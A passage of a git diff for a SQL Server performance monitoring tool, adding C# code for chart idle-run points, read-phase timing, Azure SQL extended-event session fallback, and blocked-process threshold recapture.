             pragmaCmd.ExecuteNonQuery();
         }
 
+        /* No ORDER BY on this statement, deliberately. #5410 measured ORDER BY collection_time in the merge (4 to
+           6 GB peaks on the plan-heavy shape) and it will not be built. The daily tables' batch budget and
+           row-group byte bound (DailyBatchInputBytes, DailyRowGroupBytes) were measured UNSORTED: a sort holds the
+           whole batch, and DuckDB does not honour ROW_GROUP_SIZE_BYTES under an ORDER BY inside the COPY (one
+           68,708-row group), so a future ORDER BY must leave a daily table out of the byte bound and budget
+           unless both are measured again with it. */
         var selectClause = BuildSelectClause(table, sourcePaths);
         var pathList = string.Join(", ", sourcePaths.Select(p => $"'{EscapeSqlPath(p)}'"));
         using var cmd = con.CreateCommand();
         cmd.CommandText = $"COPY (SELECT {selectClause} FROM read_parquet([{pathList}], union_by_name=true)) " +
-                          $"TO '{EscapeSqlPath(outputPath)}' (FORMAT PARQUET, COMPRESSION ZSTD, ROW_GROUP_SIZE {rowGroupSize})";
+                          $"TO '{EscapeSqlPath(outputPath)}' ({BuildArchiveCopyOptions(rowGroupSize, rowGroupBytes ?? RowGroupBytesFor(table))})";
         cmd.ExecuteNonQuery();
     }
 
diff --git a/Lite/Services/ProcedureHistoryIdleRuns.cs b/Lite/Services/ProcedureHistoryIdleRuns.cs
new file mode 100644
index 0000000000..ad7a935031
--- /dev/null
+++ b/Lite/Services/ProcedureHistoryIdleRuns.cs
@@ -0,0 +1,79 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// #5449: the procedure_stats collector stores no row for a procedure in a cycle where it did no work. An older store kept
+/// one (deltas 0), so its per-procedure history chart drew a 0 for the quiet minute. A newer store has a hole there, and a
+/// line drawn across the hole shows the busy minutes either side as if the procedure ran all the time. The chart adds the
+/// collector's runs that stored no row for this procedure back as 0 points, so both kinds of store draw the same.
+/// The history GRID is not changed: it lists the minutes with work.
+/// </summary>
+internal static class ProcedureHistoryIdleRuns
+{
+    /// <summary>
+    /// The collector runs that left no row for the procedure, between its first and last stored row. A run owns the rows in
+    /// [its time, the next run's time), so a run is idle when none falls there (this holds whether the log stamps a run at the
+    /// same instant as its rows or a moment before them). Runs before the first row or after the last are not returned: the
+    /// procedure was not in the cache yet, or had left it, and a 0 there would be invented. Both lists ascending.
+    /// </summary>
+    internal static List<DateTime> IdleRunTimes(IReadOnlyList<DateTime> rowTimes, IReadOnlyList<DateTime> runTimes)
+    {
+        var idle = new List<DateTime>();
+        if (rowTimes.Count == 0)
+        {
+            return idle;
+        }
+
+        var first = rowTimes[0];
+        var last = rowTimes[rowTimes.Count - 1];
+        var r = 0;
+        for (var i = 0; i < runTimes.Count; i++)
+        {
+            var t = runTimes[i];
+            if (t <= first || t >= last)
+            {
+                continue;
+            }
+
+            var next = i + 1 < runTimes.Count ? runTimes[i + 1] : (DateTime?)null;
+            while (r < rowTimes.Count && rowTimes[r] < t)
+            {
+                r++;
+            }
+
+            if (r < rowTimes.Count && (next is null || rowTimes[r] < next.Value))
+            {
+                continue;
+            }
+
+            idle.Add(t);
+        }
+
+        return idle;
+    }
+
+    /// <summary>The history rows with an all-zero row added at each idle run, in time order, for the chart (not the grid).</summary>
+    internal static List<ProcedureStatsHistoryRow> ChartRows(IReadOnlyList<ProcedureStatsHistoryRow> history, IReadOnlyList<DateTime> idleRunTimes)
+    {
+        if (idleRunTimes.Count == 0)
+        {
+            return history.ToList();
+        }
+
+        return history
+            .Concat(idleRunTimes.Select(t => new ProcedureStatsHistoryRow { CollectionTime = t }))
+            .OrderBy(r => r.CollectionTime)
+            .ToList();
+    }
+}
diff --git a/Lite/Services/QueryStoreSliceRepairService.cs b/Lite/Services/QueryStoreSliceRepairService.cs
index 40c6e4168f..28fd83fe5f 100644
--- a/Lite/Services/QueryStoreSliceRepairService.cs
+++ b/Lite/Services/QueryStoreSliceRepairService.cs
@@ -525,7 +525,9 @@ all of them buys nothing and costs a writer the whole sweep rather than one file
     /// <summary>
     /// The archived Query Store parquet files, oldest name first: the whole-month files and the part files
     /// (<c>YYYYMM_query_store_stats_ptNNN.parquet</c>) compaction splits a month into when its input is too big
-    /// for one merge (#4721). The archive views read both shapes, so the repair must too. Each part is a file in
+    /// for one merge (#4721), and, since compaction merges this table one day at a time (#5410), the day files
+    /// (<c>YYYYMMDD_query_store_stats.parquet</c>) and their parts. The archive views read these shapes, so the
+    /// repair must too (the same two globs match all of them). Each part is a file in
     /// its own right, surveyed and rewritten on its own with the same checks as a whole-month file.
     /// </summary>
     private IEnumerable<string> ArchiveFiles()
@@ -745,7 +747,7 @@ await ArchiveService.WithRaisedCopyMemoryLimit(connection, async () =>
     SELECT {projection}
     FROM read_parquet('{EscapePath(file.Path)}')
     GROUP BY {string.Join(", ", key)}
-) TO '{EscapePath(temp)}' (FORMAT PARQUET, COMPRESSION ZSTD)";
+) TO '{EscapePath(temp)}' ({ParquetCompaction.ArchiveCopyOptions})";
                 await command.ExecuteNonQueryAsync(cancellationToken);
             });
 
@@ -832,10 +834,13 @@ union_by_name view keeps reading the un-rewritten file with the #1907 read-side
     /// it back on restores normal behavior, verified including that a later connection reads the promoted file
     /// and the setting is left enabled.</para>
     ///
-    /// <para><b>Deliberately NOT applied to the monthly archive cycle, and that is not an oversight.</b> That
-    /// path only ever writes NEW file names and deletes old ones — it never replaces the bytes behind a path
-    /// that has been read — so it was never exposed to this and adding the eviction there would be defensive
-    /// noise that implies a hazard it does not have.</para>
+    /// <para><b>Not applied to the monthly archive cycle, though compaction does replace a path (#5377).</b> It
+    /// writes the merged month over an existing <c>YYYYMM_table.parquet</c> or part file, so it is a swap of the
+    /// same kind. Measured on DuckDB 1.5.5 the trap above did not reproduce for it (or for this helper's own
+    /// delete-and-move) in 54 swap variants, with <c>parquet_metadata_cache</c> off and on:
+    /// <c>validate_external_file_cache</c> defaults to <c>VALIDATE_ALL</c>, so an entry whose file changed is
+    /// dropped on its next read. <c>ArchiveCompactionLowDiskTests.ACompactedMonthFile_ReadsItsNewBytes_OnTheSameInstanceThatReadItBefore</c>
+    /// pins it on one instance; if it fails after a DuckDB upgrade, compaction's swap needs the eviction too.</para>
     /// </summary>
     private async Task PromoteRewrittenFileAsync(
         DuckDBConnection connection, string originalPath, string tempPath, CancellationToken cancellationToken)
diff --git a/Lite/Services/ReadPhaseTimer.cs b/Lite/Services/ReadPhaseTimer.cs
new file mode 100644
index 0000000000..9c7d7b4e4e
--- /dev/null
+++ b/Lite/Services/ReadPhaseTimer.cs
@@ -0,0 +1,140 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Runtime.CompilerServices;
+using System.Text;
+using PerformanceMonitorLite.Helpers;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// Where one store read spent its time (#5371): the read-lock wait, the connection open, the statement execute and the row
+/// read, each timed apart. The field trace of a 248 s Collection Health read could not say which of those it was, and the
+/// answer decides the fix: a lock wait is a writer parked ahead of us, an execute is the engine's own work (or its pool and
+/// threads shared with an archive scan), a row read is the client side.
+///
+/// <para>There is no separate "prepare" phase. DuckDB.NET's <c>Prepare()</c> parses and binds nothing (0.09 ms on the
+/// shipped statement, which then took about 25 ms to execute), so the statement's parse, bind and plan cost, which grows
+/// with the number of archive files, is part of the execute phase, and the log line says so.</para>
+///
+/// <para>The total is the SUM of the phases, which cover the read end to end, so a test can hand it fake phase times and
+/// get a deterministic total. <see cref="Report"/> logs one <c>SLOW METHOD</c> block, through the profiler's own writer
+/// and under the profiler's own threshold, carrying all four numbers in its context line. A read under the threshold logs
+/// nothing. A read a newer request superseded logs one plain line saying so instead.</para>
+/// </summary>
+internal sealed class ReadPhaseTimer
+{
+    internal const string LockWait = "lock wait";
+    internal const string Open = "open";
+    internal const string Execute = "execute";
+    internal const string RowRead = "row read";
+
+    private static readonly string[] s_order = { LockWait, Open, Execute, RowRead };
+
+    private readonly Dictionary<string, double> _phasesMs = new();
+    private readonly DateTime _startedAt = DateTime.Now;
+
+    /// <summary>Times the scope that follows, under <paramref name="phase"/>. Dispose ends it.</summary>
+    internal PhaseScope Measure(string phase) => new(this, phase);
+
+    /// <summary>Adds <paramref name="ms"/> to a phase. A phase measured twice adds up.</summary>
+    internal void Add(string phase, double ms)
+    {
+        _phasesMs[phase] = (_phasesMs.TryGetValue(phase, out var soFar) ? soFar : 0) + ms;
+    }
+
+    internal double PhaseMs(string phase) => _phasesMs.TryGetValue(phase, out var ms) ? ms : 0;
+
+    internal double TotalMs
+    {
+        get
+        {
+            double total = 0;
+            foreach (var ms in _phasesMs.Values) total += ms;
+            return total;
+        }
+    }
+
+    /// <summary>The four numbers, in read order, as one line: <c>lock wait 12 ms, open 3 ms, execute 900 ms (prepare and
+    /// bind included), row read 2 ms</c>.</summary>
+    internal string Describe()
+    {
+        var sb = new StringBuilder();
+        foreach (var phase in s_order)
+        {
+            if (sb.Length > 0) sb.Append(", ");
+            sb.Append(CultureInfo.InvariantCulture, $"{phase} {PhaseMs(phase):F0} ms");
+            if (phase == Execute) sb.Append(" (prepare and bind included)");
+        }
+        return sb.ToString();
+    }
+
+    /// <summary>
+    /// Logs the read as a slow method when its total passes the profiler's threshold. <paramref name="sink"/> replaces the
+    /// profiler's writer (a test's seam); it is called only for a read that passed the threshold.
+    ///
+    /// <para>A <paramref name="cancelled"/> read, one a newer request stopped on purpose, is not a slow method: it logs ONE
+    /// plain line, <c>cancelled after N ms (superseded)</c> with the phases it got through, and no <c>SLOW METHOD</c> block.
+    /// It still has to pass the threshold, since a read cut off in a few milliseconds is not worth a line. The sink, when
+    /// given, receives that same line as its context.</para>
+    /// </summary>
+    internal void Report(string readName, Action<string, double, string>? sink = null, bool cancelled = false, [CallerFilePath] string filePath = "", [CallerLineNumber] int lineNumber = 0)
+    {
+        var total = TotalMs;
+        if (total < MethodProfiler.ThresholdMs) return;
+
+        if (cancelled)
+        {
+            var line = $"{readName} cancelled after {total.ToString("F0", CultureInfo.InvariantCulture)} ms (superseded); {Describe()}";
+            if (sink is not null)
+            {
+                sink(readName, total, line);
+                return;
+            }
+
+            AppLogger.Info("ReadPhaseTimer", line);
+            return;
+        }
+
+        var context = $"{readName} phases: {Describe()}";
+        if (sink is not null)
+        {
+            sink(readName, total, context);
+            return;
+        }
+
+        MethodProfiler.LogSlowMethod(_startedAt, DateTime.Now, total, context, readName, filePath, lineNumber);
+    }
+
+    internal sealed class PhaseScope : IDisposable
+    {
+        private readonly ReadPhaseTimer _owner;
+        private readonly string _phase;
+        private readonly long _start;
+        private bool _done;
+
+        internal PhaseScope(ReadPhaseTimer owner, string phase)
+        {
+            _owner = owner;
+            _phase = phase;
+            _start = Stopwatch.GetTimestamp();
+            _done = false;
+        }
+
+        public void Dispose()
+        {
+            if (_done) return;
+            _done = true;
+            _owner.Add(_phase, Stopwatch.GetElapsedTime(_start).TotalMilliseconds);
+        }
+    }
+}
diff --git a/Lite/Services/RemoteCollectorService.AlwaysOnXeSessions.cs b/Lite/Services/RemoteCollectorService.AlwaysOnXeSessions.cs
new file mode 100644
index 0000000000..477667193c
--- /dev/null
+++ b/Lite/Services/RemoteCollectorService.AlwaysOnXeSessions.cs
@@ -0,0 +1,266 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Concurrent;
+using System.Data;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Models;
+
+namespace PerformanceMonitorLite.Services;
+
+public partial class RemoteCollectorService
+{
+    /* The choice this install has made for each deadlock and blocked-process session in each Azure SQL Database it monitors
+       (#4961): the shared session, or its own. The ensure sets it on every cycle and the read takes its name from it. In
+       memory only: a restart starts every database at the shared session, and the first ensure sets it again. */
+    private readonly AlwaysOnXeChoices _alwaysOnChoices = new();
+
+    /// <summary>The choices the ensure has made, for the read and for a test.</summary>
+    internal AlwaysOnXeChoices AlwaysOnChoices => _alwaysOnChoices;
+
+    /// <summary>
+    /// A test replaces the connection to one Azure SQL Database for the always-on sessions' ensure: the server and the
+    /// database. The ensure's decisions then run against what it returns, in place of a server. Null in production.
+    /// </summary>
+    internal Func<ServerConnection, string, CancellationToken, Task<IAlwaysOnXeDatabase>>? AlwaysOnXeDatabaseForTests { get; set; }
+
+    /// <summary>
+    /// A test replaces each connection the always-on sessions' ensure would open to one Azure SQL Database, below
+    /// <see cref="AlwaysOnXeDatabaseForTests"/> (which wins when both are set): the server, the database, and the connection
+    /// string the open would use, so a test sees whether each statement goes over a connection with read-only intent (#4961).
+    /// Null in production.
+    /// </summary>
+    internal Func<ServerConnection, string, string, CancellationToken, Task<IAlwaysOnXeDatabase>>? AlwaysOnXeConnectionForTests { get; set; }
+
+    /// <summary>This install's own session of the capture, or null when the service has no install id to make it from.</summary>
+    internal string? AlwaysOnOwnSessionName(AlwaysOnXeSessionKind kind) =>
+        AlwaysOnXeSessions.TryOwnNameFor(LongQueryCompletionsCollector.LiteProduct, GetInstallId(), kind);
+
+    /// <summary>
+    /// The session a read of the capture names in one Azure SQL Database: the install's own when the ensure fell back to it
+    /// there, else the shared name. The per-database read sets it on the collector context beside the database name.
+    /// </summary>
+    internal string AlwaysOnReadSessionName(ServerConnection server, string databaseName, AlwaysOnXeSessionKind kind) =>
+        _alwaysOnChoices.NameFor(server.Id, databaseName, kind, AlwaysOnOwnSessionName(kind));
+
+    /* #4961: when a create was last refused as read-only, in each database of each registration, per capture. A read-only
+       database stays read-only until the registration or the database changes, so the ensure does not send the create again
+       for LongQueryTraceDatabases.RetryInterval: a pass inside the hour returns before it opens a connection, as the
+       long-query trace holds its own refused create (_longQueryTraceReadOnlyRefused). The first refusal is told at Warning
+       and the ones after it at Debug (AlwaysOnXeChoices.MarkReadOnlyRefusal), and a pass that gets through forgets both.
+       In memory, so a restart tries again. Keyed like the choices: the server id, then the database in upper case. */
+    private readonly ConcurrentDictionary<string, DateTime> _alwaysOnReadOnlyRefusedAt = new(StringComparer.Ordinal);
+
+    private static string AlwaysOnReadOnlyRefusalKey(string serverId, string databaseName, AlwaysOnXeSessionKind kind) =>
+        serverId + "\u0001" + databaseName.ToUpperInvariant() + "\u0001" + kind.ToString();
+
+    /// <summary>Forgets what the ensure holds for a removed server's databases.</summary>
+    private void ForgetAlwaysOnReadOnlyRefusals(string serverId)
+    {
+        var prefix = serverId + "\u0001";
+        foreach (var key in _alwaysOnReadOnlyRefusedAt.Keys)
+        {
+            if (key.StartsWith(prefix, StringComparison.Ordinal))
+            {
+                _alwaysOnReadOnlyRefusedAt.TryRemove(key, out _);
+            }
+        }
+    }
+
+    /// <summary>
+    /// One database's pass of the Azure ensure for the deadlock or blocked-process session (#4961): the shared session when it
+    /// is usable, the install's own when it is not, and back to the shared one once it is usable again. The decisions are
+    /// <see cref="AlwaysOnXeAzureEnsure"/>'s, the same for both products; this opens the connection, keeps the choice and
+    /// logs what the pass did. A failure leaves the choice as it was and reaches the shared driver's per-database catch,
+    /// except a create that a read-only database refuses (error 3906): that is told once, in the one message that says why and
+    /// what to change and without the caps sentence, and held for an hour. As in Darling, the database counts as ensured.
+    /// </summary>
+    private async Task EnsureAlwaysOnXeSessionInDatabaseAsync(
+        ServerConnection server,
+        AlwaysOnXeSessionKind kind,
+        string captureName,
+        string databaseName,
+        CancellationToken cancellationToken)
+    {
+        var utcNow = LongQueryTraceUtcNowForTests?.Invoke() ?? DateTime.UtcNow;
+        var refusalKey = AlwaysOnReadOnlyRefusalKey(server.Id, databaseName, kind);
+        if (_alwaysOnReadOnlyRefusedAt.TryGetValue(refusalKey, out var refusedAt)
+            && utcNow - refusedAt < LongQueryTraceDatabases.RetryInterval)
+        {
+            return;
+        }
+
+        SqlConnection? connection = null;
+        IAlwaysOnXeDatabase? database = null;
+        try
+        {
+            database = await OpenAlwaysOnXeDatabaseAsync(server, databaseName, c => connection = c, cancellationToken);
+
+            var current = _alwaysOnChoices.Get(server.Id, databaseName, kind);
+            var result = await AlwaysOnXeAzureEnsure.RunAsync(
+                database, kind, AlwaysOnOwnSessionName(kind), current, cancellationToken, InstallIdFailure());
+            _alwaysOnChoices.Set(server.Id, databaseName, kind, result.Choice);
+            _alwaysOnReadOnlyRefusedAt.TryRemove(refusalKey, out _);
+            _alwaysOnChoices.ClearReadOnlyRefusal(server.Id, databaseName, kind);
+
+            var label = $"[Azure SQL DB:{databaseName}] {char.ToUpperInvariant(captureName[0])}{captureName[1..]} XE session";
+            switch (result.Change)
+            {
+                case AlwaysOnXeChange.Created:
+                    AppLogger.Info("XeSession", $"{label} created and started (database-scoped, {DescribeChoice(result.Choice)})");
+                    break;
+                case AlwaysOnXeChange.Started:
+                    AppLogger.Info("XeSession", $"{label} was stopped and has been started ({DescribeChoice(result.Choice)})");
+                    break;
+                case AlwaysOnXeChange.FellBack:
+                    AppLogger.Info("XeSession", $"{label}: the shared session cannot be used in this database, so this install reads its own, {AlwaysOnOwnSessionName(kind)}");
+                    break;
+                case AlwaysOnXeChange.SwitchedBack:
+                    AppLogger.Info("XeSession", $"{label}: the shared session can be used again, so this install dropped its own and reads the shared one");
+                    break;
+                default:
+                    /* Debug, not Info: this fires once per monitored database per cycle (#1535). */
+                    AppLogger.Debug("XeSession", $"{label} verified (database-scoped, {DescribeChoice(result.Choice)})");
+                    break;
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException && IsReadOnlyDatabaseRefusal(ex))
+        {
+            /* #4961: a read-only database, reached without read-only intent (an Azure geo-secondary), cannot hold a session.
+               The one message says why and what to change, in place of the server's own text and the caps sentence, which does
+               not apply. Warning the first time, Debug on the tries after it; the next try is an hour away. */
+            var first = _alwaysOnChoices.MarkReadOnlyRefusal(server.Id, databaseName, kind);
+            _alwaysOnReadOnlyRefusedAt[refusalKey] = utcNow;
+            var refusal = $"[{server.DisplayName}] [{databaseName}] {AlwaysOnXeSessions.ReadOnlyDatabaseMessage(kind)}";
+            if (first)
+            {
+                AppLogger.Warn("XeSession", refusal);
+            }
+            else
+            {
+                AppLogger.Debug("XeSession", refusal);
+            }
+        }
+        finally
+        {
+            (database as IDisposable)?.Dispose();
+            connection?.Dispose();
+        }
+    }
+
+    /// <summary>
+    /// The connection to one Azure SQL Database for the always-on sessions' ensure, and for a removed server's drop of the
+    /// install's own sessions. A registration with read-only intent gets a database that opens a second connection, without
+    /// the intent, when a create or a drop needs one (#4961); one without the intent gets its own connection alone. A test
+    /// replaces the whole database (<see cref="AlwaysOnXeDatabaseForTests"/>, no wrapper) or each connection
+    /// (<see cref="AlwaysOnXeConnectionForTests"/>). <paramref name="connectionOpened"/> hands the caller the connection to
+    /// dispose; the caller also disposes the returned database when it is <see cref="IDisposable"/>.
+    /// </summary>
+    private async Task<IAlwaysOnXeDatabase> OpenAlwaysOnXeDatabaseAsync(
+        ServerConnection server, string databaseName, Action<SqlConnection> connectionOpened, CancellationToken cancellationToken)
+    {
+        if (AlwaysOnXeDatabaseForTests is { } open)
+        {
+            return await open(server, databaseName, cancellationToken);
+        }
+
+        IAlwaysOnXeDatabase own;
+        if (AlwaysOnXeConnectionForTests is { } openConnection)
+        {
+            own = await openConnection(server, databaseName, AzureDatabaseConnectionString(server, databaseName), cancellationToken);
+        }
+        else
+        {
+            var connection = await OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
+            connectionOpened(connection);
+            own = new LiteAlwaysOnXeDatabase(connection);
+        }
+
+        if (new SqlConnectionStringBuilder(AzureDatabaseConnectionString(server, databaseName)).ApplicationIntent != ApplicationIntent.ReadOnly)
+        {
+            return own;
+        }
+
+        return new AlwaysOnXeReadOnlyIntentDatabase(own, async token =>
+        {
+            if (AlwaysOnXeConnectionForTests is { } openWithoutIntent)
+            {
+                return await openWithoutIntent(server, databaseName, AzureDatabaseConnectionString(server, databaseName, withoutReadOnlyIntent: true), token);
+            }
+
+            var withoutIntent = await OpenAzureDatabaseConnectionAsync(server, databaseName, token, withoutReadOnlyIntent: true);
+            return new LiteAlwaysOnXeDatabase(withoutIntent, ownsConnection: true);
+        });
+    }
+
+    /// <summary>The shared driver's connection-level ensure, for the arms that ensure through <see cref="EnsureAlwaysOnXeSessionInDatabaseAsync"/> instead. Never called.</summary>
+    private static Task AlwaysOnArmEnsureNotUsed(SqlConnection connection, CancellationToken cancellationToken) =>
+        throw new InvalidOperationException("The always-on sessions ensure through the per-database routine.");
+
+    private static string DescribeChoice(AlwaysOnXeChoice choice) => choice == AlwaysOnXeChoice.Own ? "own session" : "shared session";
+
+    /// <summary>One open connection to one Azure SQL Database, as <see cref="AlwaysOnXeAzureEnsure"/> needs it.</summary>
+    private sealed class LiteAlwaysOnXeDatabase : IAlwaysOnXeDatabase, IDisposable
+    {
+        private readonly SqlConnection _connection;
+        private readonly bool _ownsConnection;
+
+        /// <param name="connection">The open connection.</param>
+        /// <param name="ownsConnection">True when this object closes the connection: the one without read-only intent, which the
+        /// host never sees. The registration's own connection is the caller's to close.</param>
+        public LiteAlwaysOnXeDatabase(SqlConnection connection, bool ownsConnection = false)
+        {
+            _connection = connection;
+            _ownsConnection = ownsConnection;
+        }
+
+        public void Dispose()
+        {
+            if (_ownsConnection)
+            {
+                _connection.Dispose();
+            }
+        }
+
+        public async Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken)
+        {
+            var state = await ScalarAsync(AlwaysOnXeSessions.BuildAzureCatalogProbeSql(kind, "PerformanceMonitorLite"), sessionName, cancellationToken);
+            return state is int value && Enum.IsDefined(typeof(AlwaysOnXeCatalog), value)
+                ? (AlwaysOnXeCatalog)value
+                : AlwaysOnXeCatalog.Missing;
+        }
+
+        public async Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken) =>
+            await ScalarAsync(AlwaysOnXeSessions.BuildAzureStartedProbeSql("PerformanceMonitorLite"), sessionName, cancellationToken) is int started
+            && started == 1;
+
+        public async Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            using var command = new SqlCommand(statement, _connection);
+            command.CommandTimeout = CommandTimeoutSeconds;
+            await command.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        public bool IsAlreadyPresent(Exception exception) =>
+            exception is SqlException sql && IsBenignXeSessionAlreadyPresent(sql);
+
+        /* #4961: the shared marking leaves a read-only database's refusal without the caps sentence. */
+        public IEnumerable<int> ErrorNumbers(Exception exception) => ErrorNumbersOf(exception);
+
+        private async Task<object?> ScalarAsync(string statement, string sessionName, CancellationToken cancellationToken)
+        {
+            using var command = new SqlCommand(statement, _connection);
+            command.CommandTimeout = CommandTimeoutSeconds;
+            command.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            return await command.ExecuteScalarAsync(cancellationToken);
+        }
+    }
+}
diff --git a/Lite/Services/RemoteCollectorService.BlockedProcessReport.cs b/Lite/Services/RemoteCollectorService.BlockedProcessReport.cs
index c22a048de0..415ed9ffbc 100644
--- a/Lite/Services/RemoteCollectorService.BlockedProcessReport.cs
+++ b/Lite/Services/RemoteCollectorService.BlockedProcessReport.cs
@@ -42,43 +42,42 @@ public async Task EnsureBlockedProcessXeSessionAsync(ServerConnection server, in
             /* Azure SQL DB: one database-scoped session per monitored database, matching the
                per-database ring-buffer read (BlockedProcessReportCollector.RunsPerDatabase). The
                shared driver skips master, honors ExcludedDatabases via the shared database list,
-               self-heals sessions the reader can't see, and only surfaces unhealthy when NO
-               database could be ensured. */
+               and only surfaces unhealthy when NO database could be ensured. The per-database
+               routine passed here never drops a shared session (#4961): it starts a stopped one,
+               and falls back to this install's own session when the shared one stays unusable. */
             await EnsureDatabaseScopedXeSessionsAsync(
                 server, "blocked process", BlockedProcessXeSessionName,
-                EnsureBlockedProcessXeSessionAzureSqlDbAsync, cancellationToken);
+                AlwaysOnArmEnsureNotUsed, cancellationToken,
+                (databaseName, token) => EnsureAlwaysOnXeSessionInDatabaseAsync(server, AlwaysOnXeSessionKind.BlockedProcess, "blocked process", databaseName, token));
             return;
         }
 
-        try
-        {
-            using var connection = await CreateConnectionAsync(server, cancellationToken);
+        /* On-prem and Azure MI: create server-scoped session with ring_buffer */
+        await EnsureServerScopedXeSessionAsync(
+            server, "blocked process", BlockedProcessXeSessionName,
+            (connection, token) => EnsureBlockedProcessXeSessionOnPremAsync(connection, server, token), cancellationToken);
+    }
 
-            /* On-prem and Azure MI: create server-scoped session with ring_buffer */
-            await EnsureBlockedProcessXeSessionOnPremAsync(connection, server, cancellationToken);
+    /// <summary>
+    /// #5098: one extra <c>server_config</c> capture after this install changed <c>blocked process threshold (s)</c>, so the snapshots
+    /// show the change when it happened. Skipped when the collector is disabled for the server. A failure is logged and costs only
+    /// that capture: it must not fail the blocked process ensure it runs inside.
+    /// </summary>
+    private async Task RecaptureServerConfigAsync(ServerConnection server, CancellationToken cancellationToken)
+    {
+        var schedule = _scheduleManager.GetScheduleForServer(server.Id, "server_config");
+        if (schedule == null || !schedule.Enabled)
+        {
+            return;
         }
-        catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+
+        try
         {
-            /* The session is already present + running -- see IsBenignXeSessionAlreadyPresent (#1251). */
-            AppLogger.Info("XeSession", $"[{server.DisplayName}] Blocked process XE session already present (benign, #1251)");
+            await RunCollectorAsync(server, "server_config", cancellationToken);
         }
-        catch (SqlException ex)
+        catch (Exception ex) when (ex is not OperationCanceledException)
         {
-            /* Warn rather than Error when the server simply said no: a denied XE session is a least-privilege
-               posture (#1823), classified as PERMISSIONS upstream and retried no further this session.
-               Genuine failures still log at Error. */
-            if (SqlServerPermissionErrors.IsPermissionDenied(ex.Number))
-            {
-                AppLogger.Warn("XeSession", $"[{server.DisplayName}] Failed to ensure blocked process XE session: {ex.Message}");
-            }
-            else
-            {
-                AppLogger.Error("XeSession", $"[{server.DisplayName}] Failed to ensure blocked process XE session: {ex.Message}");
-            }
-
-            /* Propagate so RunCollectorAsync marks the collector unhealthy instead
-               of letting a zero-row ring-buffer read record SUCCESS (#1086) */
-            throw new XeSessionEnsureException("blocked process", ex);
+            AppLogger.Warn("XeSession", $"[{server.DisplayName}] The server_config capture after the blocked process threshold change failed: {ex.Message}");
         }
     }
 
@@ -91,6 +90,7 @@ private async Task EnsureBlockedProcessXeSessionOnPremAsync(SqlConnection connec
         /* Check blocked process threshold and configure if needed.
            Wrapped in try/catch because sp_configure is not available on AWS RDS
            (threshold must be set via RDS parameter groups instead). */
+        var thresholdChanged = false;
         try
         {
             using var thresholdCmd = new SqlCommand(@"
@@ -125,6 +125,7 @@ EXECUTE sys.sp_configure
             if (threshold == 0)
             {
                 AppLogger.Info("XeSession", $"[{server.DisplayName}] Configured blocked process threshold to 5 seconds");
+                thresholdChanged = true;
             }
         }
         catch (SqlException ex)
@@ -134,6 +135,14 @@ is unavailable on the platform (AWS RDS / Azure SQL DB). Tolerated either way. *
             AppLogger.Info("XeSession", $"[{server.DisplayName}] Could not auto-configure 'blocked process threshold (s)' to 5 seconds. This is expected when the monitoring login lacks ALTER SETTINGS, or on AWS RDS / Azure SQL DB where it is set via platform config. It is benign: blocking is still captured by the always-on DMV blocking snapshot; only the richer blocked-process-report XE stays off until the threshold is set. Detail: {ex.Message}");
         }
 
+        /* #5098: server_config is an on-load collector and runs before this one on a tab-open run, so its snapshot read the
+           threshold at 0. Without a second capture the next one is a day away, and the Blocking charts' data-start note would
+           name that day as when the threshold went on, cutting a new server's first day. One capture, now that it has changed. */
+        if (thresholdChanged)
+        {
+            await RecaptureServerConfigAsync(server, cancellationToken);
+        }
+
         /* Check if our XE session already exists */
         using (var cmd = new SqlCommand(@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
@@ -215,72 +224,6 @@ Genuine failures still log at Error. */
         }
     }
 
-    /// <summary>
-    /// Azure SQL DB: creates database-scoped XE session with ring_buffer target.
-    /// File targets are not supported in Azure SQL DB.
-    /// </summary>
-    private async Task EnsureBlockedProcessXeSessionAzureSqlDbAsync(SqlConnection connection, CancellationToken cancellationToken)
-    {
-        /* Check if database-scoped session already exists */
-        using (var cmd = new SqlCommand(@"
-SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-
-SELECT /* PerformanceMonitorLite */
-    session_state = des.name
-FROM sys.database_event_sessions AS des
-WHERE des.name = @session_name;", connection))
-        {
-            cmd.CommandTimeout = CommandTimeoutSeconds;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = BlockedProcessXeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
-
-            if (result != null)
-            {
-                /* Session exists - ensure it's started (database-scoped sessions can stop on reconnect) */
-                using var startCmd = new SqlCommand($@"
-IF NOT EXISTS
-(
-    SELECT
-        1/0
-    FROM sys.dm_xe_database_sessions AS xes
-    WHERE xes.name = N'{BlockedProcessXeSessionName}'
-)
-BEGIN
-    ALTER EVENT SESSION [{BlockedProcessXeSessionName}] ON DATABASE STATE = START;
-END;", connection);
-                startCmd.CommandTimeout = CommandTimeoutSeconds;
-                await startCmd.ExecuteNonQueryAsync(cancellationToken);
-
